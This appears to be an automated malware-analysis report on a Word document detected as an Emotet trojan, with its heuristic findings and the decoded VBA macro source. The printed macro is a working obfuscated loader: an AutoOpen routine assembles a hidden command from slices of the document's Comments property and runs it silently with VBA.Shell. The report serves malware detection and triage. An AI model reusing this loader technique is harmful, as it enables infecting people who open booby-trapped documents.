MALICIOUS
192
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is identified as malicious by ClamAV with the signature Win.Trojan.Emotet-6397178-0. Static analysis revealed the presence of VBA macros, including an AutoOpen macro, which utilizes a Shell() call to execute PowerShell commands. This indicates a likely pattern of downloading and executing a secondary payload.
Heuristics 7
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ClamAV: Win.Trojan.Emotet-6397178-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Win.Trojan.Emotet-6397178-0
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VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
jpBrTMNBoS = OTsFR + SVlLFWE + jdPQJCLLJj + UzRjzHF + rIrss + kosDdT + TlFQhtHJZCz + fGPwzhr VBA.Shell$ jpBrTMNBoS, 0 End Sub -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() EVjpGsLdH -
Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6971 bytes |
SHA-256: 682fdbacf2faedfc59c6417e7435aeceddd1ac56fd4049c502e10a11b518d95d |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
38 of 67 identifiers look randomly generated (e.g. 'pTlLTHlJJQu') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Module1"
Sub EVjpGsLdH()
QiKWpSR = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 5755, 139)
ioRPPc = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 4632), 117)
vwwOFfwRO = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 7264), 169)
zMsVfEvVZXm = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 14253), 179)
SJwKw = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 8086), 38)
QIohNw = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 7657), 125)
COFaKW = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 15828, 129)
pTlLTHlJJQu = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 919), 2)
jmVjtirYKHh = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 5027), 6)
SLSLUfzOH = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 16277), 195)
WuJXfY = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 14810), 69)
FOTbk = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 12296), 89)
riWiMDH = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 11420), 174)
ZrwwOwhcuK = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 13795, 76)
SsciHOKTzo = QiKWpSR + ioRPPc + vwwOFfwRO + zMsVfEvVZXm + SJwKw + QIohNw + COFaKW + pTlLTHlJJQu + jmVjtirYKHh + SLSLUfzOH + WuJXfY + FOTbk + riWiMDH + ZrwwOwhcuK
HhrhZkSWKc = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 6046, 73)
aKOpq = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 8399), 19)
tafozPDvo = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 8838), 73)
FMJoqnIC = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 8884), 113)
jSIQkcjEw = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 12197), 80)
ftHPb = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 233), 178)
RWpiUnXftm = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 12864), 115)
hnAAJIXY = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 9355), 176)
WqrXPaSCZP = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 4534), 123)
llrFzVs = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 9293), 87)
ulWwTitzG = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 11476), 141)
ciAwmwX = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 11458), 2)
qMEfRC = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 15371, 168)
EKCfKD = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 14568, 113)
VbvvZ = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 122), 96)
KZnGltS = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 8613, 27)
vrsijqiRPkt = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 10968), 75)
pSaYt = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 1556), 121)
bBmmutG = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 1626), 98)
dPlJEkSKtYi = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 193), 19)
jpKWIkUjM = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 3211, 67)
fVuEG = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 12547, 174)
kAVlVHmzFA = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 2269, 4)
wJuTCjKiUQh = SsciHOKTzo + HhrhZkSWKc + aKOpq + tafozPDvo + FMJoqnIC + jSIQkcjEw + ftHPb + RWpiUnXftm + hnAAJIXY + WqrXPaSCZP + llrFzVs + ulWwTitzG + ciAwmwX + qMEfRC + EKCfKD + VbvvZ + KZnGltS + vrsijqiRPkt + pSaYt + bBmmutG + dPlJEkSKtYi + jpKWIkUjM + fVuEG + kAVlVHmzFA
XZGiP = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 512, 10)
qGUFYH = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 1811, 151)
mKZksbo = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 13049, 16)
YoaqpwklU = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 6341), 166)
QGaqjf = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 10769), 107)
aOibw = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 10125), 180)
GHuXfjzcF = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 8228, 90)
XBHkTDkD = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 737, 89)
jjAMVlzPt = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 3582), 185)
bHscrzsbQ = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 9552, 46)
PIHEvqu = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 6890), 122)
tPBWYtKJwA = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 6042), 48)
OTsFR = wJuTCjKiUQh + XZGiP + qGUFYH + mKZksbo + YoaqpwklU + QGaqjf + aOibw + GHuXfjzcF + XBHkTDkD + jjAMVlzPt + bHscrzsbQ + PIHEvqu + tPBWYtKJwA
SVlLFWE = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 1277), 140)
jdPQJCLLJj = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 14415), 107)
UzRjzHF = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 15645), 74)
rIrss = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 5388, 119)
kosDdT = Mid(ActiveDocument.BuiltInDocumentProperties("Comments"), 4141, 127)
TlFQhtHJZCz = Left(Right(ActiveDocument.BuiltInDocumentProperties("Comments"), Len(ActiveDocument.BuiltInDocumentProperties("Comments")) - 9199), 7)
fGPwzhr = Right(Left(ActiveDocument.BuiltInDocumentProperties("Comments"), 6608), 1)
jpBrTMNBoS = OTsFR + SVlLFWE + jdPQJCLLJj + UzRjzHF + rIrss + kosDdT + TlFQhtHJZCz + fGPwzhr
VBA.Shell$ jpBrTMNBoS, 0
End Sub
Sub AutoOpen()
EVjpGsLdH
End Sub
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